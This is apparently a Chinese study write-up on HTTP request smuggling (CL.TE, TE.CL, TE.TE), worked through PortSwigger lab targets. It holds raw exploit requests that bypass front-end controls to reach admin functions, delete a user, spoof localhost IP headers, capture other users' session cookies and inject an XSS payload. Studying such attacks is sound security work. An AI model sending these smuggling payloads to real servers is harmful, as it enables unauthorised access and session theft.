0x 01 知识背景
HTTP中存在一个重要概念是 Persistent Connection (持久连接)
HTTP/1.0 的持久连接通过Connection: keep-alive
实现
HTTP/1.1 则规定所有连接都必须是持久的,除非显式地在头部加上 Connection: close
在 这篇文章里面可以了解到:对于持久连接,一个传输实体必须有一个结束标志.并且存在两种HTTP请求结束的标志: Content-Length
和Transfer-Encoding
Content-Length
:直接给出了实体长度
1 2 3 4
| HTTP/1.1 200 OK\r\n Content-Length: 12\r\n \r\n hello world!
|
Transfer-Encoding
:实体进行分块编码
每个分块包含十六进制的长度值和数据,长度值独占一行(长度不包括 CRLF(\r\n)
)
长度都是以字节为单位计算的
最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束
1 2 3 4 5 6 7 8 9
| HTTP/1.1 200 OK\r\n Transfer-Encoding: chunked\r\n \r\n b\r\n 01234567890\r\n 5\r\n 12345\r\n 0\r\n \r\n
|
这两种方式的区别可参考 https://blog.csdn.net/u014569188/article/details/78912469
还有一个 Content-Encoding
的东西经常和 Transfer-Encoding
结合使用,具体可以参考上面那篇文章
为了缓解源站的压力,一般会在用户和后端服务器(源站)之间加设前置服务器,用以缓存、简单校验、负载均衡等,而前置服务器与后端服务器往往是在可靠的网络域中,IP 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销 .
在用户和资源服务器之间还可能存在专用的防火墙服务器等.
0x 02 HTTP请求走私
由于HTTP规范提供了两种不同的方法来指定HTTP消息的长度,因此单个消息可能会同时使用这两种方法,虽然HTTP规范中指出,如果 Content-Length
和Transfer-Encoding
头同时存在 ,content-length
头则会被忽略,但是两个服务器之间可能有一个不支持Transfer-Encoding
或者攻击者对TE进行了混淆,导致两个server之间的标准不一样,从而产生请求走私漏洞.
具体的三种情况:
CL.TE
: 前置服务器认为 Content-Length
优先级更高(或者根本就不支持 Transfer-Encoding
) ,后端认为 Transfer-Encoding
优先级更高
TE-CL
:前置服务器认为 Transfer-Encoding
优先级更高,后端认为 Content-Length
优先级更高(或者不支持 Transfer-Encoding
)
TE-TE
:前置和后端服务器都支持 Transfer-Encoding
,但可以通过混淆让它们在处理时产生分歧
CL-TE
发出两次下面的请求,可观察到服务器返回的error信息 "Unrecognized method GPOST"

前置服务器根据content-length把下面的实体数据全部发送了
这里长度计算不包括第一个\r\n
,这是请求头和请求体之间的边界
然后后端服务器根据Transfer-Encoding
,将0\r\n\r\n
视为一个块结束的标志.G滞留在缓冲区.
然后再次发起请求的时候滞留的G和新的块拼接在了一起 ,就变成了GPOST\r\nHOST:...
TE-CL
连续发送下面的请求

前置服务器根据Transfer-Encoding
判断请求边界,将整个请求体发送给后端服务器
然后后端服务器根据Content-Length: 4
只对5c\r\n
进行了处理,后面的部分滞留在缓冲区
然后再次发送请求,就会出现"Unrecognized method GPOST"
的错误
TE-TE
对TE进行一些混淆

两个服务器对存在两个Transfer-Encoding时的处理存在不一致,一个倾向Transfer-encoding,一个倾向 Transfer-Encoding
还有别的混淆如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
|
0x03探测
延时
一般是返回500
前置服务器发送全部数据到后端,后端服务器没有接收到0\r\n\r\n
而等待
1 2 3 4 5 6 7 8
| POST / HTTP/1.1\r\n Host: vulnerable-website.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 4\r\n \r\n 1\r\n A\r\n X
|
前置服务器只发送5字节,后端服务器等待第六个字节
1 2 3 4 5 6 7 8
| POST / HTTP/1.1\r\n Host: vulnerable-website.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 6\r\n \r\n 0\r\n \r\n X\r\n
|
根据不同的响应
1 2 3 4 5 6 7 8 9 10 11 12
| POST /search HTTP/1.1\r\n Host: vulnerable-website.com\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 49\r\n Transfer-Encoding: chunked\r\n \r\n e\r\n q=smuggling&x=\r\n 0\r\n \r\n GET /404 HTTP/1.1\r\n Foo: x
|
伪造的相应:返回error
1 2 3 4 5 6 7
| GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11
q=smuggling
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /search HTTP/1.1\r\n Host: vulnerable-website.com\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 7c\r\n GET /404 HTTP/1.1\r\n Host: vulnerable-website.com\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 144\r\n \r\n x=\r\n 0\r\n \r\n
|
或者下面这个,利用的时候不用再计算长度了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: ac991ff81e1155588027028a00a60085.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
|
0x 04利用
bypass防火墙安全控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST / HTTP/1.1 Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 116 Transfer-Encoding: chunked
0
GET /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10
x=
|
特权操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST / HTTP/1.1 Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 139 Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10
x=
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST / HTTP/1.1 Host: ace51f0c1e67808d804d707500860021.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST / HTTP/1.1 Host: ace51f0c1e67808d804d707500860021.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10
x=1 0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST / HTTP/1.1 Host: ace51f0c1e67808d804d707500860021.web-security-academy.net Content-length: 4 Transfer-Encoding: chunked
87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
|
bypass ip等限制
请求头中的一些限制因素
1 2 3 4 5 6 7 8
| Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ...
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: acf01fc11f920726807703ef005a003a.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 143 Transfer-Encoding: chunked
0
GET /admin HTTP/1.1 X-aEWnFO-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close
x=1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: acf01fc11f920726807703ef005a003a.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 141 Transfer-Encoding: chunked
0
GET /admin HTTP/1.1 Client-ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close
x=1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: acf01fc11f920726807703ef005a003a.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1 X-aEWnFO-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close
x=1
|
窃取信息
可以捕获别人的请求(cookie,session等)
利用条件比较苛刻,可参考 https://xz.aliyun.com/t/7501#toc-9
首先可以截取一个发送评论的包
1 2 3 4 5 6 7
| POST /post/comment HTTP/1.1 Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj
csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=1&comment=test&name=1&email=1111%401111.com&website=http%3A%2F%2Fwww.baidu.com%2F
|
然后构造下面的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 325 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net Content-Length: 665 Content-Type: application/x-www-form-urlencoded Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj
csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=a
|
然后可以在评论区看到一些别人的cookie信息(也可能是自己的=.=)

xss
1 2 3 4 5 6 7 8 9 10
| POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked
0
GET / HTTP/1.1 User-Agent: <script>alert(1)</script> Foo: X
|
Others
太懒了…,后面遇到再来做这几个实验
- 将 on-site 重定向变为开放式重定向
- 缓存投毒
- 缓存欺骗
0x 05 总结
粗略的学习一下
CTF中利用可以利用的应该有bypass,和xss. (这两天某比赛就遇到了一个bypass.
参考 https://xz.aliyun.com/t/7501